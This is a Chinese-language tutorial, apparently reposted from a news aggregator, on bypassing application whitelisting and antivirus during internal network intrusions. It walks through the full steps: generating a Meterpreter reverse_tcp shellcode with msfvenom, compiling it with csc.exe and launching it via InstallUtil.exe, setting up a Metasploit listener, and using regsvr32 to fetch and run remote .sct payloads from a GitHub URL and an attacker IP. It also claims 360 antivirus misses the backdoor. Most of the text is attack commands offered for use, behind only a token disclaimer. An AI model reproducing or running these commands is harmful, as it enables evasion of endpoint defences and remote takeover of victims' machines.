绕过应用程序白名单技巧

在内网渗透中,经常会在内网主机执行执行的渗透工具的时候出现执行不起来的情况,很多时候是由与安全软件做了白名单限制,只允许指定的白名单中的应用程序启动,这时我们就需要利用白名单中的程序做我们想做的事情,执行我们想要执行的程序,下面就给大家分享几个绕过白名单执行应用程序的姿势。一、通过 csharp 编译文件绕过防病毒软件1、下载 CSharp 文件wgethttp://tinyurl.com/InstallUtil-ShellCode-cs

2、使用 msfvenom 生成一个 msf 的 csharp 格式的 shellcode:msfvenom-p windows / meterpreter / reverse_tcp lhost = YOUR_IP lport = 443 -fcsharp> shellcode.txt

3、在文件中,您将注意到代码中有两个功能先从函数的执行命令行中写入显示提示信息,当使用工具运行程序时,将执行名为函数(橙色框中的代码)的中代码的功能。通常位于受信任的应用程序列表中,可能会绕过某些应用程序白名单软件。函数中的代码将调用函数,这是我们的嵌套恶意绕过防病毒的代码。

4、下面是需要替换的 shellcode 代码位置

5、在下面将 msf 生成的的代码复制替换

6、需要修改其中的代码,将 buf 变量修改成并保存文件

7、使用 csc.exe 工具编译修改后的文件C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe InstallUtil-ShellCode.cs

8、在 msf 下生成监听 shell:use multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 10.0.0.86set LPORT 444set ExitOnSession falserun -j

9、在目标受害者机器上通过工具执行我们编译的后门文件:C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe/logfile= /LogToConsole=false /U exeshell.exe

10、在 kali 下可以看到成功获得目标主机的 shell:

此时通过 360 进行查杀未发现有病毒:

二、通过 sct 远程执行绕过防病毒1、远程执行的 sct () 文件代码如下:

2、在目标受害者机器上远程执行:这里前提需要将文件上传到目标主机 C 盘下或者其他位置,其他位置需要更改代码:regsvr32/u /n /s /i:https://raw.githubusercontent.com/backlion/demo/master/payload.sctscrobj.dll

也可以本地执行:regsvr32/u /n /s /i:payload.sct scrobj.dll

3、由于是 Metasploit 的有效载荷,所以 Meterpreter 会话将被打开:

三、msf 下生成模块生成 sct 绕过防病毒1、在 msf 上生成 sct 监听反弹 shellmsf>useexploit/windows/misc/regsvr32_applocker_bypass_servermsf>show optionsmsf>setlhost 10.0.0.86msf>set lport 6666

2、在目标受害者主机上执行以下命令:regsvr32/s /n /u /i:http://10.0.0.86:8080/q0Nqdxa4iKkeNXB.sctscrobj.dll

3、在 msf 即可看到反弹 shell:

总结这里的几种方式都是用来应对防病毒软件采用软件白名单的方式拒绝恶意软件的执行,通过一些默认放行的白名单系统应用程序启动我们构造好的恶意程序或者 payload 来绕过防病毒软件的白名单限制,这里只讨论技术的学习,请不要用来做违法的事情,欢迎大家投稿一起分享在渗透测试中应用的各种姿势,各种技术的安全原理等。

  • 发表于:
  • 原文链接:http://kuaibao.qq.com/s/20180131G0A6HF00?refer=cp_1026

同媒体快讯

相关快讯

扫码关注云+社区